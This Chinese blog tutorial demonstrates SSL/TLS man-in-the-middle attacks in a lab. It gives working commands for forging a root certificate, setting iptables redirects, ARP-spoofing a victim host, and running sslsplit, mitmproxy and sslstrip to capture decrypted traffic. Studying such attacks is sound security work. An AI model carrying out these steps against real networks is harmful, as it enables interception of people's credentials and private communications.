web 渗透 --- SSL、TLS中间人攻击

目录

一、SSL、TLS中间人攻击

利用方法

中间人攻击前提  

二、工具演示

1.SSLsplit

伪造证书

开启路由转发功能

设置iptables端口转发规则

ARP欺骗

 启动SSLsplit进行攻击

扫描二维码关注公众号,回复: 3736935 查看本文章

伪造成功

安装证书

2. Mitmproxy

设置防火墙规则

 启动 Mitmproxy

3. SSLstrip 


一、SSL、TLS中间人攻击

SSL中间人攻击

攻击者位于客户端和服务器通信链路中

利用方法

  1. ARP地址欺骗
  2. 修改DHCP服务器 (存在就近原则)
  3. 手动修改网关
  4. 修改DNS设置
  5. 修改HOSTS文件【高于DNS】
  6. ICMP、STP、OSPF

加密流量

中间人攻击前提  

【以下某一条符合则可】

  1. 客户端已经信任伪造证书颁发机构(安装其根证书)
  2. 攻击者控制了合法证书颁发机构(控制CA服务器,为自己颁发证书)
  3. 客户端程序禁止了显示证书错误告警信息 (程序员个人能力有限)
  4. 攻击者已经控制客户端,并强制其信任伪造证书 (强制安装中间人的根证书)

二、工具演示

1.SSLsplit

  • 透明SSL/TLS中间人攻击工具
  • 对客户端伪装成服务器,对服务器伪装成普通客户端
  • 伪装服务器需要伪造证书
  • 支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

伪造证书

1.利用openssl生成证书私钥

openssl genrsa -out ca.key 2048  【-out:输出为文件ca.key】

2.利用私钥签名生成证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt  【req:请求;-new:新的;-x509:格式;-days:有效期;-key指定私钥;-out:根证书】

开启路由转发功能

  • sysctl -w net.ipv4.ip_forward=1  【修改配置文件中路由转发功能项的值】
  • 等价与 echo 1 > /proc/sys/net/ipv4/ip_forward

设置iptables端口转发规则

  • iptables -t nat -F  清空当前表规则

【-t:指定表;-A PERROUTING:路由前生效;-p:指定协议;--dport:接受流量的端口;-j:指定处理方法(REDIRECT重定向);--to-ports:转发端口】

  • iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 【#HTTP】
  • iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 【#HTTPS】
  • iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 【#MSA】
  • iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 【#SMTPS】
  • iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 【#IMAPS】
  • iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 【#POP3S】

ARP欺骗

  • arpspoof -i eth0 -t 192.168.98.132 -r 192.168.98.2【-i:指定网卡;-t:欺骗目标;-r:网关地址】

(欺骗132,让其认为攻击机为网关)【发包(给132)不能停下】

 启动SSLsplit进行攻击

创建目录

  • mkdir -p test/logdir

侦听设定的端口

  • sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

伪造成功

 通过被害机Win7访问https的网站,会出现“安全证书有问题的错误”,若点击接受,则链路被成功劫持,攻击机可嗅探传输的信息

【在客户端访问攻击机时,sslsplit一瞬间将真实访问站点证书的真实信息收集记录下来,进行伪造浏览器中可查看的证书,以供用户查看】

#在connect.log可查看连接信息

#在test/logdir可查看传输数据  【使用grep命令筛选数据】

#sslsplit会自动进行一定程度的解密,一般可查看到其数据信息

安装证书

#当安装过伪造的根证书之后,访问网站的适合,将无告警提示 

2. Mitmproxy

前提:进行arp欺骗,但自动集成默认的证书

缺点:只能在8080端口侦听,指定其他端口,会出现问题

设置防火墙规则

  • iptables -t nat -F
  • iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
  • iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

 启动 Mitmproxy

  • mitmproxy -T --host -w mitmproxy.log  【有类图形化界面;-w:指定的记录文件】

3. SSLstrip 

  • 强制受害者发送明文的数据到中间人的电脑,中间人再加密进行传输
  • 与前两种工具不同,将客户端到中间人之间的流量变成明文,但同样需要结合arp地址欺骗  
  • 无需进行证书伪造,但可能会被发现
  • sslstrip -l 8080

【会自动生成sslstrip.log文件】

猜你喜欢

转载自blog.csdn.net/qq389674856/article/details/82843152